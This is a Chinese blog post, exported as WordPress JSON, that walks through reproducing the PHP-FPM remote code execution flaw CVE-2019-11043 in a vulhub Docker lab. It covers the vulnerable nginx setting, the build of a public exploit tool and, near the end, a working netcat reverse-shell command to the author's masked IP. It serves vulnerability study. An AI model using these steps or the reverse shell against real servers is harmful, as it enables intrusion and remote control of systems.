{"id":1127,"date":"2022-10-15T01:26:18","date_gmt":"2022-10-14T17:26:18","guid":{"rendered":"https:\/\/byy3.com\/?p=1127"},"modified":"2022-10-15T01:26:18","modified_gmt":"2022-10-14T17:26:18","slug":"php%e8%bf%9c%e7%a8%8b%e4%bb%a3%e7%a0%81%e6%89%a7%e8%a1%8c%e6%bc%8f%e6%b4%9e%e5%a4%8d%e7%8e%b0%ef%bc%88cve-2019-11043%ef%bc%89%e3%80%90%e5%8f%8d%e5%bc%b9shell%e6%88%90%e5%8a%9f%e3%80%91","status":"publish","type":"post","link":"https:\/\/byy3.com\/?p=1127","title":{"rendered":"PHP\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\u590d\u73b0\uff08CVE-2019-11043\uff09\u3010\u53cd\u5f39shell\u6210\u529f\u3011"},"content":{"rendered":"<div>\n<div class=\"rno-markdown J-articleContent rno-\">\n<h1 id=\"%E6%BC%8F%E6%B4%9E%E6%8F%8F%E8%BF%B0\"><strong>\u6f0f\u6d1e\u63cf\u8ff0<\/strong><\/h1>\n<p>CVE-2019-11043 \u662f\u4e00\u4e2a\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\uff0c\u4f7f\u7528\u67d0\u4e9b\u7279\u5b9a\u914d\u7f6e\u7684 Nginx + PHP-FPM \u7684<a href=\"https:\/\/byy3.com\/go\/?url=https:\/\/cloud.tencent.com\/product\/cvm?from=10680\" target=\"_blank\" rel=\"noopener\" data-text-link=\"375_1530703\" data-from=\"10680\" rel=\"nofollow\" >\u670d\u52a1\u5668<\/a>\u5b58\u5728\u6f0f\u6d1e\uff0c\u53ef\u5141\u8bb8\u653b\u51fb\u8005\u8fdc\u7a0b\u6267\u884c\u4ee3\u7801\u3002<\/p>\n<p>\u5411Nginx + PHP-FPM\u7684\u670d\u52a1\u5668 URL\u53d1\u9001 %0a \u65f6\uff0c\u670d\u52a1\u5668\u8fd4\u56de\u5f02\u5e38\u3002<\/p>\n<p>\u8be5\u6f0f\u6d1e\u9700\u8981\u5728nginx.conf\u4e2d\u8fdb\u884c\u7279\u5b9a\u914d\u7f6e\u624d\u80fd\u89e6\u53d1\u3002\u5177\u4f53\u914d\u7f6e\u5982\u4e0b\uff1a<\/p>\n<div class=\"developer-code-block\">\n<pre class=\"prism-token token line-numbers language-javascript\" tabindex=\"0\"><code class=\"language-javascript\">location <span class=\"token operator\">~<\/span> <span class=\"token punctuation\">[<\/span><span class=\"token operator\">^<\/span><span class=\"token operator\">\/<\/span><span class=\"token punctuation\">]<\/span>\\<span class=\"token punctuation\">.<\/span><span class=\"token function\">php<\/span><span class=\"token punctuation\">(<\/span><span class=\"token parameter\"><span class=\"token operator\">\/<\/span><span class=\"token operator\">|<\/span>$<\/span><span class=\"token punctuation\">)<\/span> <span class=\"token punctuation\">{<\/span>\r\n\r\n <span class=\"token operator\">...<\/span>\r\n\r\n fastcgi_split_path_info <span class=\"token operator\">^<\/span><span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">.<\/span><span class=\"token operator\">+<\/span><span class=\"token operator\">?<\/span>\\<span class=\"token punctuation\">.<\/span>php<span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">(<\/span><span class=\"token operator\">\/<\/span><span class=\"token punctuation\">.<\/span><span class=\"token operator\">*<\/span><span class=\"token punctuation\">)<\/span>$<span class=\"token punctuation\">;<\/span>\r\n\r\n fastcgi_param <span class=\"token constant\">PATH_INFO<\/span> $fastcgi_path_info<span class=\"token punctuation\">;<\/span>\r\n\r\n fastcgi_pass php<span class=\"token operator\">:<\/span><span class=\"token number\">9000<\/span><span class=\"token punctuation\">;<\/span>\r\n\r\n <span class=\"token operator\">...<\/span>\r\n\r\n<span class=\"token punctuation\">}<\/span><\/code><\/pre>\n<p><button class=\"copy\">\u590d\u5236<\/button><\/div>\n<p>\u653b\u51fb\u8005\u53ef\u4ee5\u4f7f\u7528\u6362\u884c\u7b26\uff08\uff050a\uff09\u6765\u7834\u574f<code>fastcgi_split_path_info<\/code>\u6307\u4ee4\u4e2d\u7684Regexp\u3002Regexp\u88ab\u635f\u574f\u5bfc\u81f4PATH_INFO\u4e3a\u7a7a\uff0c\u4ece\u800c\u89e6\u53d1\u8be5\u6f0f\u6d1e\u3002<\/p>\n<h1 id=\"%E5%BD%B1%E5%93%8D%E8%8C%83%E5%9B%B4\"><strong>\u5f71\u54cd\u8303\u56f4<\/strong><\/h1>\n<p>\u5728 Nginx + PHP-FPM \u73af\u5883\u4e0b\uff0c\u5f53\u542f\u7528\u4e86\u4e0a\u8ff0 Nginx \u914d\u7f6e\u540e\uff0c\u4ee5\u4e0b PHP \u7248\u672c\u53d7\u672c\u6b21\u6f0f\u6d1e\u5f71\u54cd\uff0c\u53e6\u5916\uff0cPHP 5.6\u7248\u672c\u4e5f\u53d7\u6b64\u6f0f\u6d1e\u5f71\u54cd\uff0c\u4f46\u76ee\u524d\u53ea\u80fd Crash\uff0c\u4e0d\u53ef\u4ee5\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\uff1a<\/p>\n<ul class=\"ul-level-0\">\n<li>PHP 7.0 \u7248\u672c<\/li>\n<li>PHP 7.1 \u7248\u672c<\/li>\n<li>PHP 7.2 \u7248\u672c<\/li>\n<li>PHP 7.3 \u7248\u672c<\/li>\n<\/ul>\n<h1 id=\"%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0\"><strong>\u6f0f\u6d1e\u590d\u73b0<\/strong><\/h1>\n<p>\u4f7f\u7528 p \u725b\u7684 <a href=\"https:\/\/byy3.com\/go\/?url=https:\/\/cloud.tencent.com\/product\/tke?from=10680\" target=\"_blank\" rel=\"noopener\" data-text-link=\"445_1530703\" data-from=\"10680\" rel=\"nofollow\" >docker<\/a> \u73af\u5883\u8fdb\u884c\u590d\u73b0\uff1a<\/p>\n<p>PHP-FPM \u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\uff08CVE-2019-11043\uff09<\/p>\n<p>https:\/\/github.com\/vulhub\/vulhub\/blob\/master\/php\/CVE-2019-11043\/README.zh-cn.md<\/p>\n<h2 id=\"%E5%87%86%E5%A4%87%E5%B7%A5%E4%BD%9C%EF%BC%9A%E5%AE%89%E8%A3%85-docker%E3%80%81golang-%E7%8E%AF%E5%A2%83\">\u51c6\u5907\u5de5\u4f5c\uff1a\u5b89\u88c5 docker\u3001golang \u73af\u5883<\/h2>\n<div class=\"developer-code-block\">\n<pre class=\"prism-token token line-numbers language-javascript\" tabindex=\"0\"><code class=\"language-javascript\">sudo apt<span class=\"token operator\">-<\/span><span class=\"token keyword\">get<\/span> install docker docker<span class=\"token operator\">-<\/span>compose\r\nsudo apt install golang<\/code><\/pre>\n<p><button class=\"copy\">\u590d\u5236<\/button><\/div>\n<h2 id=\"%E6%90%AD%E5%BB%BA%E6%BC%8F%E6%B4%9E%E7%8E%AF%E5%A2%83\"><strong>\u642d\u5efa\u6f0f\u6d1e\u73af\u5883<\/strong><\/h2>\n<div class=\"developer-code-block\">\n<pre class=\"prism-token token line-numbers language-javascript\" tabindex=\"0\"><code class=\"language-javascript\">git clone https<span class=\"token operator\">:<\/span><span class=\"token operator\">\/<\/span><span class=\"token operator\">\/<\/span>github<span class=\"token punctuation\">.<\/span>com<span class=\"token operator\">\/<\/span>vulhub<span class=\"token operator\">\/<\/span>vulhub<span class=\"token punctuation\">.<\/span>git\r\ncd vulhub<span class=\"token operator\">\/<\/span>php<span class=\"token operator\">\/<\/span><span class=\"token constant\">CVE<\/span><span class=\"token operator\">-<\/span><span class=\"token number\">2019<\/span><span class=\"token operator\">-<\/span><span class=\"token number\">11043<\/span> <span class=\"token operator\">&amp;&amp;<\/span> docker<span class=\"token operator\">-<\/span>compose up <span class=\"token operator\">-<\/span>d<\/code><\/pre>\n<p><button class=\"copy\">\u590d\u5236<\/button><\/div>\n<figure class=\"\">\n<div class=\"image-block\"><img decoding=\"async\" data-original=\"https:\/\/ask.qcloudimg.com\/http-save\/yehe-6318226\/ycwa8fvzxr.jpeg?imageView2\/2\/w\/1620\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" title=\"PHP\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\u590d\u73b0\uff08CVE-2019-11043\uff09\u3010\u53cd\u5f39shell\u6210\u529f\u3011\u63d2\u56fe\" alt=\"PHP\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\u590d\u73b0\uff08CVE-2019-11043\uff09\u3010\u53cd\u5f39shell\u6210\u529f\u3011\u63d2\u56fe\" \/><\/div>\n<\/figure>\n<p>\u542f\u52a8\u73af\u5883\u4e4b\u540e\uff0c\u5c31\u53ef\u4ee5\u770b\u5230\u6f0f\u6d1e\u73af\u5883\u7684\u9ed8\u8ba4\u9875\u9762\u3002\u5728\u6b64\u4e3a http:\/\/127.0.0.1:8080\/index.php\u3002<\/p>\n<figure class=\"\">\n<div class=\"image-block\"><img decoding=\"async\" class=\"\" data-original=\"https:\/\/ask.qcloudimg.com\/http-save\/yehe-6318226\/pqq48aj04h.png?imageView2\/2\/w\/1620\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" title=\"PHP\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\u590d\u73b0\uff08CVE-2019-11043\uff09\u3010\u53cd\u5f39shell\u6210\u529f\u3011\u63d2\u56fe1\" alt=\"PHP\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\u590d\u73b0\uff08CVE-2019-11043\uff09\u3010\u53cd\u5f39shell\u6210\u529f\u3011\u63d2\u56fe1\" \/><\/div>\n<\/figure>\n<h2 id=\"%E5%AE%89%E8%A3%85%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%B7%A5%E5%85%B7\"><strong>\u5b89\u88c5\u6f0f\u6d1e\u5229\u7528\u5de5\u5177<\/strong><\/h2>\n<div class=\"developer-code-block\">\n<pre class=\"prism-token token line-numbers language-javascript\" tabindex=\"0\"><code class=\"language-javascript\">git clone https<span class=\"token operator\">:<\/span><span class=\"token operator\">\/<\/span><span class=\"token operator\">\/<\/span>github<span class=\"token punctuation\">.<\/span>com<span class=\"token operator\">\/<\/span>neex<span class=\"token operator\">\/<\/span>phuip<span class=\"token operator\">-<\/span>fpizdam<span class=\"token punctuation\">.<\/span>git\r\ncd phuip<span class=\"token operator\">-<\/span>fpizdam\r\ngo get <span class=\"token operator\">-<\/span>v <span class=\"token operator\">&amp;&amp;<\/span> go build<\/code><\/pre>\n<p><button class=\"copy\">\u590d\u5236<\/button><\/div>\n<figure class=\"\">\n<div class=\"image-block\"><img decoding=\"async\" class=\"\" data-original=\"https:\/\/ask.qcloudimg.com\/http-save\/yehe-6318226\/rl1m0r9596.jpeg?imageView2\/2\/w\/1620\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" title=\"PHP\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\u590d\u73b0\uff08CVE-2019-11043\uff09\u3010\u53cd\u5f39shell\u6210\u529f\u3011\u63d2\u56fe2\" alt=\"PHP\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\u590d\u73b0\uff08CVE-2019-11043\uff09\u3010\u53cd\u5f39shell\u6210\u529f\u3011\u63d2\u56fe2\" \/><\/div>\n<\/figure>\n<figure class=\"\">\n<div class=\"image-block\"><img decoding=\"async\" class=\"\" data-original=\"https:\/\/ask.qcloudimg.com\/http-save\/yehe-6318226\/2w5pk0ldcy.jpeg?imageView2\/2\/w\/1620\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" title=\"PHP\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\u590d\u73b0\uff08CVE-2019-11043\uff09\u3010\u53cd\u5f39shell\u6210\u529f\u3011\u63d2\u56fe3\" alt=\"PHP\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\u590d\u73b0\uff08CVE-2019-11043\uff09\u3010\u53cd\u5f39shell\u6210\u529f\u3011\u63d2\u56fe3\" \/><\/div>\n<\/figure>\n<h2 id=\"%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8\"><strong>\u6f0f\u6d1e\u5229\u7528<\/strong><\/h2>\n<figure class=\"\">\n<div class=\"image-block\"><img decoding=\"async\" class=\"\" data-original=\"https:\/\/ask.qcloudimg.com\/http-save\/yehe-6318226\/wq1gff2b1l.jpeg?imageView2\/2\/w\/1620\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" title=\"PHP\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\u590d\u73b0\uff08CVE-2019-11043\uff09\u3010\u53cd\u5f39shell\u6210\u529f\u3011\u63d2\u56fe4\" alt=\"PHP\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\u590d\u73b0\uff08CVE-2019-11043\uff09\u3010\u53cd\u5f39shell\u6210\u529f\u3011\u63d2\u56fe4\" \/><\/div>\n<\/figure>\n<figure class=\"\">\n<div class=\"image-block\"><img decoding=\"async\" class=\"\" data-original=\"https:\/\/ask.qcloudimg.com\/http-save\/yehe-6318226\/2rmbyxrbnr.jpeg?imageView2\/2\/w\/1620\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" title=\"PHP\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\u590d\u73b0\uff08CVE-2019-11043\uff09\u3010\u53cd\u5f39shell\u6210\u529f\u3011\u63d2\u56fe5\" alt=\"PHP\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\u590d\u73b0\uff08CVE-2019-11043\uff09\u3010\u53cd\u5f39shell\u6210\u529f\u3011\u63d2\u56fe5\" \/><\/div>\n<\/figure>\n<figure class=\"\">\n<div class=\"image-block\"><img decoding=\"async\" class=\"\" data-original=\"https:\/\/ask.qcloudimg.com\/http-save\/yehe-6318226\/zq8h0y1bka.png?imageView2\/2\/w\/1620\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" title=\"PHP\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\u590d\u73b0\uff08CVE-2019-11043\uff09\u3010\u53cd\u5f39shell\u6210\u529f\u3011\u63d2\u56fe6\" alt=\"PHP\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\u590d\u73b0\uff08CVE-2019-11043\uff09\u3010\u53cd\u5f39shell\u6210\u529f\u3011\u63d2\u56fe6\" \/><\/div>\n<\/figure>\n<p>url \u4e2d\u7a7a\u683c\u4e0d\u5f71\u54cd\u547d\u4ee4\u6267\u884c\uff1a<\/p>\n<figure class=\"\">\n<div class=\"image-block\"><img decoding=\"async\" class=\"\" data-original=\"https:\/\/ask.qcloudimg.com\/http-save\/yehe-6318226\/voqux0ougy.png?imageView2\/2\/w\/1620\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" title=\"PHP\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\u590d\u73b0\uff08CVE-2019-11043\uff09\u3010\u53cd\u5f39shell\u6210\u529f\u3011\u63d2\u56fe7\" alt=\"PHP\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\u590d\u73b0\uff08CVE-2019-11043\uff09\u3010\u53cd\u5f39shell\u6210\u529f\u3011\u63d2\u56fe7\" \/><\/div>\n<\/figure>\n<blockquote><p>p \u725b\u53cb\u60c5\u63d0\u793a\uff1a\u60a8\u5e94\u8be5\u6ce8\u610f\uff0c\u53ea\u6709\u90e8\u5206PHP-FPM\u5b50\u8fdb\u7a0b\u53d7\u5230\u4e86\u6c61\u67d3\uff0c\u56e0\u6b64\u8bf7\u5c1d\u8bd5\u51e0\u6b21\u4ee5\u6267\u884c\u8be5\u547d\u4ee4\u3002<\/p><\/blockquote>\n<p><strong>\u53cd\u5f39 shell:<\/strong><\/p>\n<p>\u56e0\u4e3a\u6211\u7528\u7684\u662fP\u725b\u7684\u73af\u5883\uff0c\u91cc\u9762\u6ca1\u6709 nc \u547d\u4ee4\u3002\u6240\u4ee5\u4e0d\u80fd\u7528 nc \u7684\u53cd\u5f39 shell\u3002<\/p>\n<figure class=\"\">\n<div class=\"image-block\"><img decoding=\"async\" class=\"\" data-original=\"https:\/\/ask.qcloudimg.com\/http-save\/yehe-6318226\/xv08usdpem.jpeg?imageView2\/2\/w\/1620\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" title=\"PHP\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\u590d\u73b0\uff08CVE-2019-11043\uff09\u3010\u53cd\u5f39shell\u6210\u529f\u3011\u63d2\u56fe8\" alt=\"PHP\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\u590d\u73b0\uff08CVE-2019-11043\uff09\u3010\u53cd\u5f39shell\u6210\u529f\u3011\u63d2\u56fe8\" \/><\/div>\n<\/figure>\n<p>\u7ed9\u6b64docer<a href=\"https:\/\/byy3.com\/go\/?url=https:\/\/cloud.tencent.com\/product\/tke?from=10680\" target=\"_blank\" rel=\"noopener\" data-text-link=\"443_1530703\" data-from=\"10680\" rel=\"nofollow\" >\u5bb9\u5668<\/a>\u88c5\u4e00\u4e2a nc\uff1a<\/p>\n<p>p\u725b\u7684\u73af\u5883\u6709\u4e24\u4e2a docker \u955c\u50cf\uff0c\u4e00\u4e2a\u662fnginx\uff0c\u4e00\u4e2a\u662f php:<\/p>\n<figure class=\"\">\n<div class=\"image-block\"><img decoding=\"async\" class=\"\" data-original=\"https:\/\/ask.qcloudimg.com\/http-save\/yehe-6318226\/pripv4kc0h.jpeg?imageView2\/2\/w\/1620\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" title=\"PHP\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\u590d\u73b0\uff08CVE-2019-11043\uff09\u3010\u53cd\u5f39shell\u6210\u529f\u3011\u63d2\u56fe9\" alt=\"PHP\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\u590d\u73b0\uff08CVE-2019-11043\uff09\u3010\u53cd\u5f39shell\u6210\u529f\u3011\u63d2\u56fe9\" \/><\/div>\n<\/figure>\n<p>\u8fdb\u5165 nginx \u7684\u5bb9\u5668\uff1a<\/p>\n<figure class=\"\">\n<div class=\"image-block\"><img decoding=\"async\" class=\"\" data-original=\"https:\/\/ask.qcloudimg.com\/http-save\/yehe-6318226\/pb7tqvci08.jpeg?imageView2\/2\/w\/1620\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" title=\"PHP\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\u590d\u73b0\uff08CVE-2019-11043\uff09\u3010\u53cd\u5f39shell\u6210\u529f\u3011\u63d2\u56fe10\" alt=\"PHP\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\u590d\u73b0\uff08CVE-2019-11043\uff09\u3010\u53cd\u5f39shell\u6210\u529f\u3011\u63d2\u56fe10\" \/><\/div>\n<\/figure>\n<figure class=\"\">\n<div class=\"image-block\"><img decoding=\"async\" class=\"\" data-original=\"https:\/\/ask.qcloudimg.com\/http-save\/yehe-6318226\/8doxa2gugs.jpeg?imageView2\/2\/w\/1620\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" title=\"PHP\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\u590d\u73b0\uff08CVE-2019-11043\uff09\u3010\u53cd\u5f39shell\u6210\u529f\u3011\u63d2\u56fe11\" alt=\"PHP\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\u590d\u73b0\uff08CVE-2019-11043\uff09\u3010\u53cd\u5f39shell\u6210\u529f\u3011\u63d2\u56fe11\" \/><\/div>\n<\/figure>\n<figure class=\"\">\n<div class=\"image-block\"><img decoding=\"async\" class=\"\" data-original=\"https:\/\/ask.qcloudimg.com\/http-save\/yehe-6318226\/q6cy0q6ynm.jpeg?imageView2\/2\/w\/1620\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" title=\"PHP\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\u590d\u73b0\uff08CVE-2019-11043\uff09\u3010\u53cd\u5f39shell\u6210\u529f\u3011\u63d2\u56fe12\" alt=\"PHP\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\u590d\u73b0\uff08CVE-2019-11043\uff09\u3010\u53cd\u5f39shell\u6210\u529f\u3011\u63d2\u56fe12\" \/><\/div>\n<\/figure>\n<p>\u5982\u56fe\u5c31\u88c5\u597d\u4e86\u3002<\/p>\n<p><code>exit<\/code> \u6b64\u5bb9\u5668\u3002\u5c1d\u8bd5\u5728url\u91cc\u9762 nc \u6211\u672c\u5730\u76d1\u542c\u7684\u7aef\u53e3\uff1a<\/p>\n<figure class=\"\">\n<div class=\"image-block\"><img decoding=\"async\" class=\"\" data-original=\"https:\/\/ask.qcloudimg.com\/http-save\/yehe-6318226\/7at9icje8i.png?imageView2\/2\/w\/1620\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" title=\"PHP\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\u590d\u73b0\uff08CVE-2019-11043\uff09\u3010\u53cd\u5f39shell\u6210\u529f\u3011\u63d2\u56fe13\" alt=\"PHP\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\u590d\u73b0\uff08CVE-2019-11043\uff09\u3010\u53cd\u5f39shell\u6210\u529f\u3011\u63d2\u56fe13\" \/><\/div>\n<\/figure>\n<p>\u6ca1\u6709\u6210\u529f\u3002<\/p>\n<p>\u4f46\u662f\u7ee7\u7eed\u89c2\u5bdf\uff0c\u53ef\u80fd\u662f\u955c\u50cf\u4e0d\u5bf9\u3002\u56e0\u4e3ap\u725b\u5c01\u88c5\u7684\u8fd9\u4e2a\u73af\u5883\u6709\u4e24\u4e2a docker\uff0c\u521a\u521a\u90fd\u662f\u5728 nginx docker \u955c\u50cf\u91cc\u9762\u5c1d\u8bd5\u7684\uff1a<\/p>\n<figure class=\"\">\n<div class=\"image-block\"><img decoding=\"async\" class=\"\" data-original=\"https:\/\/ask.qcloudimg.com\/http-save\/yehe-6318226\/pripv4kc0h.jpeg?imageView2\/2\/w\/1620\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" title=\"PHP\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\u590d\u73b0\uff08CVE-2019-11043\uff09\u3010\u53cd\u5f39shell\u6210\u529f\u3011\u63d2\u56fe9\" alt=\"PHP\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\u590d\u73b0\uff08CVE-2019-11043\uff09\u3010\u53cd\u5f39shell\u6210\u529f\u3011\u63d2\u56fe9\" \/><\/div>\n<\/figure>\n<p>\u8bd5\u8bd5\u5728php\u955c\u50cf\u91cc\u9762\u88c5nc\u3002\u6bd5\u7adf\u3001<\/p>\n<figure class=\"\">\n<div class=\"image-block\"><img decoding=\"async\" class=\"\" data-original=\"https:\/\/ask.qcloudimg.com\/http-save\/yehe-6318226\/oo60x4ejvz.jpeg?imageView2\/2\/w\/1620\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" title=\"PHP\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\u590d\u73b0\uff08CVE-2019-11043\uff09\u3010\u53cd\u5f39shell\u6210\u529f\u3011\u63d2\u56fe14\" alt=\"PHP\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\u590d\u73b0\uff08CVE-2019-11043\uff09\u3010\u53cd\u5f39shell\u6210\u529f\u3011\u63d2\u56fe14\" \/><\/div>\n<\/figure>\n<p>\u6362\u955c\u50cf\u88c5 nc\uff1a<\/p>\n<figure class=\"\">\n<div class=\"image-block\"><img decoding=\"async\" class=\"\" data-original=\"https:\/\/ask.qcloudimg.com\/http-save\/yehe-6318226\/ypb1oug6tk.jpeg?imageView2\/2\/w\/1620\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" title=\"PHP\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\u590d\u73b0\uff08CVE-2019-11043\uff09\u3010\u53cd\u5f39shell\u6210\u529f\u3011\u63d2\u56fe15\" alt=\"PHP\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\u590d\u73b0\uff08CVE-2019-11043\uff09\u3010\u53cd\u5f39shell\u6210\u529f\u3011\u63d2\u56fe15\" \/><\/div>\n<\/figure>\n<figure class=\"\">\n<div class=\"image-block\"><img decoding=\"async\" class=\"\" data-original=\"https:\/\/ask.qcloudimg.com\/http-save\/yehe-6318226\/iyoadjd27g.png?imageView2\/2\/w\/1620\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" title=\"PHP\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\u590d\u73b0\uff08CVE-2019-11043\uff09\u3010\u53cd\u5f39shell\u6210\u529f\u3011\u63d2\u56fe16\" alt=\"PHP\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\u590d\u73b0\uff08CVE-2019-11043\uff09\u3010\u53cd\u5f39shell\u6210\u529f\u3011\u63d2\u56fe16\" \/><\/div>\n<\/figure>\n<figure class=\"\">\n<div class=\"image-block\"><img decoding=\"async\" class=\"\" data-original=\"https:\/\/ask.qcloudimg.com\/http-save\/yehe-6318226\/fag1vrj6tw.png?imageView2\/2\/w\/1620\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" title=\"PHP\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\u590d\u73b0\uff08CVE-2019-11043\uff09\u3010\u53cd\u5f39shell\u6210\u529f\u3011\u63d2\u56fe17\" alt=\"PHP\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\u590d\u73b0\uff08CVE-2019-11043\uff09\u3010\u53cd\u5f39shell\u6210\u529f\u3011\u63d2\u56fe17\" \/><\/div>\n<\/figure>\n<p>\u7136\u540e nc \u8fde\u63a5\u6210\u529f\uff1a<\/p>\n<figure class=\"\">\n<div class=\"image-block\"><img decoding=\"async\" class=\"\" data-original=\"https:\/\/ask.qcloudimg.com\/http-save\/yehe-6318226\/vuzlasyl2j.png?imageView2\/2\/w\/1620\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" title=\"PHP\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\u590d\u73b0\uff08CVE-2019-11043\uff09\u3010\u53cd\u5f39shell\u6210\u529f\u3011\u63d2\u56fe18\" alt=\"PHP\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\u590d\u73b0\uff08CVE-2019-11043\uff09\u3010\u53cd\u5f39shell\u6210\u529f\u3011\u63d2\u56fe18\" \/><\/div>\n<\/figure>\n<p>\u8bd5\u4e0b\u53cd\u5f39 shell:<\/p>\n<div class=\"developer-code-block\">\n<pre class=\"prism-token token line-numbers language-javascript\" tabindex=\"0\"><code class=\"language-javascript\">nc <span class=\"token operator\">-<\/span>e <span class=\"token operator\">\/<\/span>bin<span class=\"token operator\">\/<\/span>bash <span class=\"token number\">10<\/span><span class=\"token punctuation\">.<\/span>x<span class=\"token punctuation\">.<\/span>x<span class=\"token punctuation\">.<\/span><span class=\"token number\">39<\/span> <span class=\"token number\">7777<\/span><\/code><\/pre>\n<p><button class=\"copy\">\u590d\u5236<\/button><\/div>\n<p>\u53cd\u5f39 shell \u6210\u529f\uff01<\/p>\n<figure class=\"\">\n<div class=\"image-block\"><img decoding=\"async\" class=\"\" data-original=\"https:\/\/ask.qcloudimg.com\/http-save\/yehe-6318226\/gtshew09q7.jpeg?imageView2\/2\/w\/1620\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" title=\"PHP\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\u590d\u73b0\uff08CVE-2019-11043\uff09\u3010\u53cd\u5f39shell\u6210\u529f\u3011\u63d2\u56fe19\" alt=\"PHP\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\u590d\u73b0\uff08CVE-2019-11043\uff09\u3010\u53cd\u5f39shell\u6210\u529f\u3011\u63d2\u56fe19\" \/><\/div>\n<\/figure>\n<h2 id=\"\"><\/h2>\n<h2 